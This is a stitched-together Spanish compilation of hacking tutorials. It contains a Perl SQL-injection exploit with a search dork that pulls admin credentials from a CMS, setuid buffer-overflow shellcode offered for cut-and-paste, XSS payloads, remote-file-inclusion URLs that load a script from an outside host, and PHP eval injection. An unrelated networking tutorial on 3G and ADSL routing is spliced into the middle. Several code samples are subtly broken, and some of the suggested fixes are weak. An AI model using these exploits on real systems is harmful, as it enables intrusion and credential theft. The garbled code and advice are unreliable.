En las siguientes líneas se encuentra el código del exploit e instrucciones de uso:

use LWP::Simple;

########################################################################
# Malicious users may inject SQL querys into a vulnerable
# application to fool a user in order to gather data from them or see sensible information.
########################################################################
# Solution:
# $_GET = preg_replace(“|([^\w\s\'])|i”,”,$_GET);
# $_POST = preg_replace(“|([^\w\s\'])|i”,”,$_POST);
########################################################################
# Special Thanks : HYPERNETHOST & Security-Pentest & Mauro Rossi
##########################[Andrés Gómez]#################################

my $target = $ARGV[0];
unless ($target) { print “\n Inyector Remoto — HYPERNETHOST & Security-Pentest — Andres Gomez\n\n”;
print “\ Dork: allinurl: detResolucion.php?tipodoc_id=\n”;
print “\nEjemplo Ejecucion = AriadnaCms.pl http://www.sitio.extension/path/\n” ; exit 1; }

$sql = “detResolucion.php?tipodoc_id=33+and+1=0+union+select+concat(0×7365637572697479,adm_nombre,0x3a,0x70656e74657374,adm_clave)+from+administrador–”;

$final = $target.$sql;
$contenido = get($final);

print “\n\n[+] Pagina Web: $target\n\n”;
if ($contenido =~/security(.*):pentest(.*)/) {
print “[-] Datos extraidos con exito:\n\n”;
print “[+] Usuario = $1\n”;
print “[+] Password = $2\n”;
} else {
print “[-] No se obtuvieron datos\n\n”;
exit 1;
}

print “\n[ñ] Escriba exit para salir de la aplicacion\n”;

exit 1;

La red 3g es demasiado inestable y para evitar que al desconectarse por este problema no queden sesiones abiertas de ssh en servidores lo que hacia era al entrar a un server hacer un screen y ahi por más que me desconectara la sesión quedaba abierta y la tarea sigue su ejecución normalmente.
Fue entonces que quise buscar la forma de rutear el tráfico de sesión por el adsl (conexión estable) y el trafico que no es de sesión por el 3g, en casa tengo una red wifi que el router tiene la salida por adsl y el modem 3g lo conecto directamente a mi notebook.
En mi notebook las interfaces quedan asi:

eth0: wifi
ppp0: modem 3g

No voy a explicar como hacer funcionar el modem 3g en linux ya que hay varios tutoriales por ahi sobre esto, lo que si hay que saber es que la red de ancel te da la ip pública y la ruta de su red.
Uso wvdial para conectarme y a este le paso la opción “Check Def Route = 0″ en el  /etc/wvdial.conf para evitar que sobrescriba la ruta por default que en mi caso es la de mi red wifi.

La tabla de rutas quedaria asi:
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
10.64.64.64     0.0.0.0         255.255.255.255 UH    0      0        0 ppp0
192.168.1.0     0.0.0.0         255.255.255.0    U      0      0        0 eth0
0.0.0.0           192.168.1.1   0.0.0.0              UG    0      0        0 eth0

En este momento por más que esten las 2 conexiones todo sale por eth0 a no ser que quiera llegar a la ip 10.64.64.64 que es el gateway de ancel.

Lo que decidí al final fue rutear el trafico http (80) y https (443) por la conexión 3g que al ser tráfico sin sesión no importa si se corta o no la conexión y dejar por default el resto del tráfico por la red wifi de casa.

Empezamos por crear una tabla de ruteo nueva en /etc/iproute2/rt_tables llamada Tnueva

Contenido del archivo /etc/iproute2/rt_tables:

255   local
254   main
253   default
0   unspec
200   Tnueva
………………………………….
#agrego la ruta por default al gateway de ancel por Tnueva y ruteo los paquetes marcados con 0×1 por fwmark en iptables
ip route add default via 10.64.64.64 dev ppp0 table Tnueva
ip rule add fwmark 0×1 table Tnueva

#marco los paquetes a los puertos 80 y 443 que salen por wlan0  con 0×1 para que vayan por Tnueva
iptables -t mangle -A OUTPUT -o wlan0 -p tcp -m multiport –dports 80,443 -j MARK –set-mark 0×1

#Por ultimo tengo que poner la IP pública que me da ancel en el source de los paquetes para que puedan volver haciendo MASQUERADE en la interfaz ppp0
iptables -t nat -A POSTROUTING -o ppp0 -p tcp -m multiport –dports 80,443 -j MASQUERADE

Al caer la conección del modem 3g se elimina la ruta en la tabla Tnueva, para que al reconectar siga funcionando el ruteo al conectarse hay que setear esta ruta yo lo hago con wvdial y en el directorio /etc/ppp/ip-up.d/ hice un script que la setea.

Mauro Rossi.

##########################[Andrés Gómez]##########################

##########################[Andrés Gómez]#################################

Bien, la técnica para ganar root mediante un buffer overflow a
sido utilizada hace mucho en algunos exploits que son abiertamente difundidos.
Algunos de ellos son dip, splitvt and mount. Hay otros y antes de leer esto
esperanzadoramente, debes ser capaz de reconocerlos.

- Como Trabaja esto:

Como es que la técnica de buffer overflow trabaja, es lo que
buscaremos en algun lugar del programa, explotandolo donde un dato de longitud
indefinida, definida por el usuario, es copiada en un dato de longitud
definida. Y básicamente lo hacemos desbordarse (overflow).

- Ejemplo:

char *ptr;
char visual[1024];                      - (definible por usuario)

sprintf(visual, “%s %s”, ptr, file);    - (ptr (longitud indefinida) es copiado
- a visual (longitud definida)

En esta función podemos causar un buffer overflow. Que ocurre si
predefinimos visual (el cual es definible por usuario) a algo mas grande que
1024. El programa probara que ptr y file, ambos, no son mas grandes que 1024 e
intentara ejecutar sprintf, cuando esto ocurra, sera mucho mayor que 1024 y
aqui debera existir un buffer overflow.

- Como hacerlo

Ahora, anteriormente he dicho que predefinimos visual a algo mayor a
1024. Hacemos esto, pero lo hacemos mayor a 1024 llenando una zona con codigo
maquina y un comando (/bin/sh). El ejemplo que usare intentara ejecutar
cualquier editor visual que se seleccione. Usualmente pico, o en su defecto
vi. Quizá escribiríamos algun programa como este:

#include <unistd.h>                     // includes normales
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_CT “/usr/bin/program”      // Define la ruta del programa
// que explotaremos

u_char shell[] =
“\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f”
“\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd”
“\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh”;

u_long esp() { __asm__(“movl %esp, %eax”); }

// Código máquina que se ejecutara cuando el buffer este desbordado, indicando
// a la maquina ejecutar /bin/sh

main()                  // funcion main
{                       // abre

u_char buf[2048];       // define lo que es visual
u_long addr;            // usado para el codigo maquina
int i;                  // usado para bucles

strcpy(buf, “/usr/bin/pico;   “);      // inicia lo que sera la salida de
// visual, con pico se ve normal

addr = esp() – 192;
for (i=16; i<128+16; i+=4)
*((u_long *) (buf+i)) = addr;
for (i=128+16; i<1040; i++)
buf = 0×90;
for (i=0; i<strlen(shell); i++)
buf[1040+i] = shell;
buf[1040+i] = ‘\n’;

// Aplicando el código maquina a lo que debe ser visual

setenv(“VISUAL”, buf,1);        // predefine visual

execl(PATH_CT, “program”, “-options”, (char *)0);       // ejecuta el programa
// con -options

}                               // cierra

- Que ocurre

Ahora, si compilamos nuestro programa y lo ejecutamos, esto es lo que
puede ocurrir. Pico se ejecutara (ejecutando el inicio de buffer también y
una vez salido de pico, el buffer debera desbordarse y ejecutar /bin/sh. Si el
programa explotado tiene setuid 0/y ningún cambio fue hecho en el código, éste
nos mostrara un shell root. Para esto solo define visual a /bin/sh, el cuál
puede ser muy útil en algunos casos, pero tenga en mente que este es solo un
ejemplo.

- Como encontrar programas para explotar:

Para encontrar programas a explotar, obtenga los códigos fuente de
algunos programas que son normalmente setuid 0, mira por sprintf’s y por
variables definidas por usuario de longitud indefinida copiados dentro de una
longitud definida y sin comprobaciones, como se muestra anteriormente. Puedes
encontrar todos estos en un lugar y asi explotar todos. =>

- Que hago ahora

Vaya y encuentre un programa para explotar. Mire el codigo fuente y
encuentre lugares donde puedas desbordar el buffer. Regrese al inicio de este
texto y mire el codigo que le he proporcionado. La razón para proporcionarle
este codigo es debido a que puede basicamente, ser cortado y pegado dentro de
un exploit en trabajo.

- Ejemplo Básico:
- Pedazo de código de test.php

———————————
<?php
$name=$_GET['name'];
print $name;
?>
———————————

El “input” no está filtrado, Un atacante puede ejecutar código javascript.
Ejemplo :

http://127.0.0.1/test.php?name=<script>alert(“XSS”)</script>

Un “popup” con un mensaje de  “XSS” aparecerá en pantalla. El código javascript es ejecutado con exito.

- Otro Ejemplo:

- Pedazo de código de test.php

——————————————-
<?php
$name=addslashes($_GET['name']);
print ‘<table name=”‘.$name.’”></table>’;
?>
——————————————-

No es un ejemplo avanzado, solo un poquito más complicado.

http://127.0.0.1/test.php?name=”><script>alert(String.fromCharCode(88,83,83))</script>

Qué con este vector?Nosotros pusimos ” porque necesitamos cerrar ” del atributo “name” de la tabla “table” y > para cerrar la “table”. Porque String.fromCharCode? Porque
queremos bypassear la funcion addslashes(). Inyeccion realizada con exito.

- Ejemplo Práctico:

- Pedazo de código de modules.php

—————————————————————————
if (isset($name)) {
……………….. etc…………….
} else {
die(“Le fichier modules/”.$name.”/”.$mod_file.”.php est inexistant”);
—————————————————————————

La variable “name” es inyectable, input no está filtrado, por eso podemos inyectar codigo javascript.
Ejemplo:

http://127.0.0.1/test.php?name=<script>alert(“XSS”)</script>

- Solución

Forma Simple : Usar las funciones htmlentities() o htmlspecialchars().
Ejemplo : $name=htmlentities($_GET['name']);
Otra Forma : Filtrar los caracteres especiales usados para xss (demasiados).
Otra:

$_GET = preg_replace(“|([^\w\s\'])|i”,”,$_GET);
$_POST = preg_replace(“|([^\w\s\'])|i”,”,$_POST);


La mejor forma es con el último método.

Andrés Gómez

En PHP existen cuatro funciones las cuales le permitira subir archivos;

require – require() es idéntica a include() excepto en caso de errores lo que producira un “fatal error”.
require_once – es idéntica a require() con la diferencia que esta funcion checa si el archivo ya ha sido incluido, si no ha sido subido, realiza el include nuevamente.
include – incluye y evalua archivos específicos.
include_once -  incluye y evalua archivos específicos mientras se mantiene en ejecucion el script.

- Ejemplo básico

- Tips : algunos scripts no aceptan “http” en las variables,”http” es “forbbiden” entonces
pueden usar “https” o “ftp”.

- Pedazo de código de test.php

———————————————–
<?php
$pagina=$_GET['pagina'];
include $pagina;
?>
———————————————–

- Si entramos a la pagina encontraremos algunos warnnigns y otros errores:

Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2

- Podemos ver aquí que la variable “pagina” no está declarada. Entonces le podemos asignar cualquier valor a la variable “pagina”.
Ejemplo :

http://127.0.0.1/test.php?pagina=http://hypernethost.org/script.txt

- Pedazo de código de test.php

———————————————–
<?php
$pagina=$_GET['pagina'];
include $pagina.’.php’;
?>
———————————————–

- Entonces, si hacemos la petición:

http://127.0.0.1/test.php?pagina=http://hypernethost.org/script.txt

No va funcionar debido a que el script intentará incluir http://hypernethost.org/script.txt.php

Entonces agregaremos un “NULLBYTE” ( %00 ) y todo lo que este posterior al “NULLBYTE” será ignorado.
Ejemplo:

http://127.0.0.1/test.php?pagina=http://ilegalintrusion.net/script.txt%00

El script será incluido con exito.

- Pedazo de codigo de test.php

———————————————–
<?php
$pagina=$_GET['pagina'];
include $pagina.’logged=1′;
?>
———————————————–

Y el logged=1 se volvera una variable. Es mejor usar NULLBYTE.
Ejemplo:

http://127.0.0.1/test.php?pagina=http://hypernethost.org/script.txt?logged=1

El script será incluído con éxito.

- Ejemplo Práctico:

Ahora un ejemplo desde un script.

- Pedazo de codigo de index.php

—————————————————-
if (isset($_REQUEST["main_content"])){
$main_content = $_REQUEST["main_content"];
} else if (isset($_SESSION["main_content"])){
$main_content = $_SESSION["main_content"];
}
…………………..etc………………
ob_start();
require_once($main_content);
—————————————————-

Podemos ver que la variable “main_content”  está siendo pedida por el metodo $_REQUEST. El atacante puede  asignarle el valor que desee.
Debajo, la variable “main_content” es incluida, entonces si realizamos la siguiente
petición:

http://127.0.0.1/index.php?main_content=http://hypernethost.org/script.txt

Nuestro script será correctamente incluido.

3.2 – Solución

Forma Simple : No permitir caracteres especiales en las variables: filtrar el slash “/” .
Otra Forma : Filtrar “http” , “https” , “ftp” y”smb”.

Andrés Gómez

- Ejemplo Básico:
- Pedazo de código de test.php
———————————–
<?php
$code=$_GET['code'];
eval($code);
?>
———————————–
La funcion “eval” evalua una “string” como codigo PHP. Entonces en este caso estamos habilitados para ejecutar  nuestro código PHP.
Ejemplos:

http://127.0.0.1/test.php?code=phpinfo();

http://127.0.0.1/test.php?code=system(whoami);

Y veremos la salida del codigo php inyectado por nosotros.

- Ejemplo Simple:
- Pedazo de código de system/services/init.php
————————————————
$conf = array_merge($conf,$confweb);
}
@eval(stripslashes($_REQUEST['anticode']));
if ( $_SERVER['HTTP_CLIENT_IP'] )
————————————————
Vemos que el “anticode” esta siendo requerido por el metodo $_REQUEST y el programador
“aseguró” las entradas con “stripslashes” que está “sobrando” aqui, no necesiamos
“slashes” para ejecutar nuestro codigo php. Solo si queremos incluir una url. Entonces podremos inyectar nuestro código php
Ejemplo :

http://127.0.0.1/test.php?anticode=phpinfo();

Genial, inyeccion realizada,phpinfo() resulta impresa.

- Solución

Forma Simple : no permitir “;” y el código php debería ser inválido.
Otra Forma : No permitir caracteres especiales como “(” or “)” etc.

Andrés Gómez